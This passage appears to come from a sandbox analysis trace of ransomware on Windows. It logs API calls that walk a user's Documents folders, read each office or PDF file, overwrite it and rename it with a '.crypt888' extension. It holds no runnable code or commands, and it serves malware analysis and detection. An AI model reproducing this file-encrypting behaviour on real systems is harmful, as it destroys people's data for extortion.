lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\W2z36gfIUxkFWnrUIa_z.pptx", lpFilePart=0x0) returned 0x41 [0081.628] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0081.628] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\W2z36gfIUxkFWnrUIa_z.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\w2z36gfiuxkfwnruia_z.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0081.630] GetFileType (hFile=0x174) returned 0x1 [0081.630] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0081.630] GetFileType (hFile=0x174) returned 0x1 [0081.630] WriteFile (in: hFile=0x174, lpBuffer=0x2a9ff14*, nNumberOfBytesToWrite=0x11890, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x2a9ff14*, lpNumberOfBytesWritten=0x39ed48*=0x11890, lpOverlapped=0x0) returned 1 [0081.632] CloseHandle (hObject=0x174) returned 1 [0081.634] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\W2z36gfIUxkFWnrUIa_z.pptx", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\W2z36gfIUxkFWnrUIa_z.pptx", lpFilePart=0x0) returned 0x41 [0081.634] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\W2z36gfIUxkFWnrUIa_z.pptx.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\W2z36gfIUxkFWnrUIa_z.pptx.crypt888", lpFilePart=0x0) returned 0x4a [0081.634] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0081.635] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\W2z36gfIUxkFWnrUIa_z.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\w2z36gfiuxkfwnruia_z.pptx"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82333d90, ftCreationTime.dwHighDateTime=0x1d3f05c, ftLastAccessTime.dwLowDateTime=0xad6ef360, ftLastAccessTime.dwHighDateTime=0x1d40e4c, ftLastWriteTime.dwLowDateTime=0xc1dc6620, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x11890)) returned 1 [0081.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0081.635] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\W2z36gfIUxkFWnrUIa_z.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\w2z36gfiuxkfwnruia_z.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\W2z36gfIUxkFWnrUIa_z.pptx.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\w2z36gfiuxkfwnruia_z.pptx.crypt888")) returned 1 [0081.635] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Z7FilxJRX7GMOx8rbRe.pptx", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Z7FilxJRX7GMOx8rbRe.pptx", lpFilePart=0x0) returned 0x40 [0081.635] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0081.635] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Z7FilxJRX7GMOx8rbRe.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\z7filxjrx7gmox8rbre.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0081.636] GetFileType (hFile=0x174) returned 0x1 [0081.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0081.636] GetFileType (hFile=0x174) returned 0x1 [0081.636] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0xa7c2 [0081.636] ReadFile (in: hFile=0x174, lpBuffer=0x2ab1bf8, nNumberOfBytesToRead=0xa7c2, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x2ab1bf8*, lpNumberOfBytesRead=0x39ed58*=0xa7c2, lpOverlapped=0x0) returned 1 [0081.637] CloseHandle (hObject=0x174) returned 1 [0081.656] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Z7FilxJRX7GMOx8rbRe.pptx", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Z7FilxJRX7GMOx8rbRe.pptx", lpFilePart=0x0) returned 0x40 [0081.656] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0081.656] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Z7FilxJRX7GMOx8rbRe.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\z7filxjrx7gmox8rbre.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0081.658] GetFileType (hFile=0x174) returned 0x1 [0081.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0081.658] GetFileType (hFile=0x174) returned 0x1 [0081.658] WriteFile (in: hFile=0x174, lpBuffer=0x2b1e144*, nNumberOfBytesToWrite=0xa7d0, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x2b1e144*, lpNumberOfBytesWritten=0x39ed48*=0xa7d0, lpOverlapped=0x0) returned 1 [0081.659] CloseHandle (hObject=0x174) returned 1 [0081.660] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Z7FilxJRX7GMOx8rbRe.pptx", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Z7FilxJRX7GMOx8rbRe.pptx", lpFilePart=0x0) returned 0x40 [0081.660] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Z7FilxJRX7GMOx8rbRe.pptx.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Z7FilxJRX7GMOx8rbRe.pptx.crypt888", lpFilePart=0x0) returned 0x49 [0081.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0081.660] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Z7FilxJRX7GMOx8rbRe.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\z7filxjrx7gmox8rbre.pptx"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17f1f780, ftCreationTime.dwHighDateTime=0x1d44b99, ftLastAccessTime.dwLowDateTime=0x12142870, ftLastAccessTime.dwHighDateTime=0x1d45296, ftLastWriteTime.dwLowDateTime=0xc1dec780, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xa7d0)) returned 1 [0081.661] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0081.661] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Z7FilxJRX7GMOx8rbRe.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\z7filxjrx7gmox8rbre.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Z7FilxJRX7GMOx8rbRe.pptx.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\z7filxjrx7gmox8rbre.pptx.crypt888")) returned 1 [0081.664] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0081.664] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj", lpFilePart=0x0) returned 0x2c [0081.664] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\", lpFilePart=0x0) returned 0x2d [0081.664] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a6a8 [0081.664] FindNextFileW (in: hFindFile=0x59a6a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0081.664] FindNextFileW (in: hFindFile=0x59a6a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0081.669] FindNextFileW (in: hFindFile=0x59a6a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0081.669] FindNextFileW (in: hFindFile=0x59a6a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0081.669] FindNextFileW (in: hFindFile=0x59a6a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0081.669] FindClose (in: hFindFile=0x59a6a8 | out: hFindFile=0x59a6a8) returned 1 [0081.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0081.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0081.669] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0081.669] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj", lpFilePart=0x0) returned 0x2c [0081.669] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\", lpFilePart=0x0) returned 0x2d [0081.670] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a6a8 [0081.670] FindNextFileW (in: hFindFile=0x59a6a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0081.670] FindNextFileW (in: hFindFile=0x59a6a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0081.670] FindNextFileW (in: hFindFile=0x59a6a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0081.670] FindNextFileW (in: hFindFile=0x59a6a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0081.670] FindNextFileW (in: hFindFile=0x59a6a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0081.670] FindClose (in: hFindFile=0x59a6a8 | out: hFindFile=0x59a6a8) returned 1 [0081.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0081.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0081.671] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\O30fI54updf9a6h.pdf", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\O30fI54updf9a6h.pdf", lpFilePart=0x0) returned 0x40 [0081.671] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0081.671] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\O30fI54updf9a6h.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c5vj\\o30fi54updf9a6h.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0081.671] GetFileType (hFile=0x174) returned 0x1 [0081.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0081.671] GetFileType (hFile=0x174) returned 0x1 [0081.671] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x16dc5 [0081.671] ReadFile (in: hFile=0x174, lpBuffer=0x388f180, nNumberOfBytesToRead=0x16dc5, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x388f180*, lpNumberOfBytesRead=0x39ed24*=0x16dc5, lpOverlapped=0x0) returned 1 [0081.673] CloseHandle (hObject=0x174) returned 1 [0081.718] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\O30fI54updf9a6h.pdf", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\O30fI54updf9a6h.pdf", lpFilePart=0x0) returned 0x40 [0081.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0081.718] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\O30fI54updf9a6h.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c5vj\\o30fi54updf9a6h.pdf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0081.720] GetFileType (hFile=0x174) returned 0x1 [0081.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0081.720] GetFileType (hFile=0x174) returned 0x1 [0081.720] WriteFile (in: hFile=0x174, lpBuffer=0x39016c8*, nNumberOfBytesToWrite=0x16dd0, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x39016c8*, lpNumberOfBytesWritten=0x39ed14*=0x16dd0, lpOverlapped=0x0) returned 1 [0081.722] CloseHandle (hObject=0x174) returned 1 [0081.724] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\O30fI54updf9a6h.pdf", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\O30fI54updf9a6h.pdf", lpFilePart=0x0) returned 0x40 [0081.724] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\O30fI54updf9a6h.pdf.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\O30fI54updf9a6h.pdf.crypt888", lpFilePart=0x0) returned 0x49 [0081.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0081.724] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\O30fI54updf9a6h.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c5vj\\o30fi54updf9a6h.pdf"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c25ff0, ftCreationTime.dwHighDateTime=0x1d45730, ftLastAccessTime.dwLowDateTime=0xcb1e80e0, ftLastAccessTime.dwHighDateTime=0x1d45ec1, ftLastWriteTime.dwLowDateTime=0xc1e84d00, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x16dd0)) returned 1 [0081.725] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0081.725] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\O30fI54updf9a6h.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c5vj\\o30fi54updf9a6h.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\O30fI54updf9a6h.pdf.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c5vj\\o30fi54updf9a6h.pdf.crypt888")) returned 1 [0081.725] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\Y t4.xlsx", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\Y t4.xlsx", lpFilePart=0x0) returned 0x36 [0081.725] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0081.726] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\Y t4.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c5vj\\y t4.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0081.726] GetFileType (hFile=0x174) returned 0x1 [0081.726] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0081.726] GetFileType (hFile=0x174) returned 0x1 [0081.726] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x6423 [0081.726] ReadFile (in: hFile=0x174, lpBuffer=0x275d590, nNumberOfBytesToRead=0x6423, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x275d590*, lpNumberOfBytesRead=0x39ed24*=0x6423, lpOverlapped=0x0) returned 1 [0081.727] CloseHandle (hObject=0x174) returned 1 [0081.743] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\Y t4.xlsx", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\Y t4.xlsx", lpFilePart=0x0) returned 0x36 [0081.743] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0081.744] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\Y t4.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c5vj\\y t4.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0081.745] GetFileType (hFile=0x174) returned 0x1 [0081.745] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0081.745] GetFileType (hFile=0x174) returned 0x1 [0081.745] WriteFile (in: hFile=0x174, lpBuffer=0x27c9848*, nNumberOfBytesToWrite=0x6430, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x27c9848*, lpNumberOfBytesWritten=0x39ed14*=0x6430, lpOverlapped=0x0) returned 1 [0081.746] CloseHandle (hObject=0x174) returned 1 [0081.749] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\Y t4.xlsx", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\Y t4.xlsx", lpFilePart=0x0) returned 0x36 [0081.749] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\Y t4.xlsx.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\Y t4.xlsx.crypt888", lpFilePart=0x0) returned 0x3f [0081.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0081.749] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\Y t4.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c5vj\\y t4.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd01c38e0, ftCreationTime.dwHighDateTime=0x1d46177, ftLastAccessTime.dwLowDateTime=0xd2849cf0, ftLastAccessTime.dwHighDateTime=0x1d458dd, ftLastWriteTime.dwLowDateTime=0xc1ed0fc0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x6430)) returned 1 [0081.749] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0081.749] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\Y t4.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c5vj\\y t4.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\Y t4.xlsx.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c5vj\\y t4.xlsx.crypt888")) returned 1 [0081.750] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0081.750] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU", lpFilePart=0x0) returned 0x3c [0081.750] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\", lpFilePart=0x0) returned 0x3d [0081.750] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a168 [0081.750] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0081.750] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0081.750] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0081.750] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0081.750] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0081.751] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0081.751] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0081.751] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0081.751] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0081.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0081.751] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU", lpFilePart=0x0) returned 0x3c [0081.751] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\", lpFilePart=0x0) returned 0x3d [0081.751] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a168 [0081.751] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0081.752] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0081.752] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0081.752] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0081.752] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0081.752] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0081.752] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0081.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0081.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0081.753] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\53KveEz5rftN9A5pRH.odp", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\53KveEz5rftN9A5pRH.odp", lpFilePart=0x0) returned 0x53 [0081.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0081.753] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c5Vj\\ax1mq0W7FGyMsTU\\53KveEz5rftN9A5pRH.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c5vj\\ax1mq0w7fgymstu\\53kveez5rftn9a5prh.odp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0081.753] GetFileType (hFile=0x174) returned 0x1 [0081.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0081.753] GetFileType (hFile=0x174) returned 0x1 [0081.753] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xe9ea [0081.753] ReadFile (in: hFile=0x174, lpBuffer=0x27d265c, nNumberOfBytesToRead=0xe9ea, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x27d265c*, lpNumberOfBytesRead=0x39ecf0*=0xe9ea, 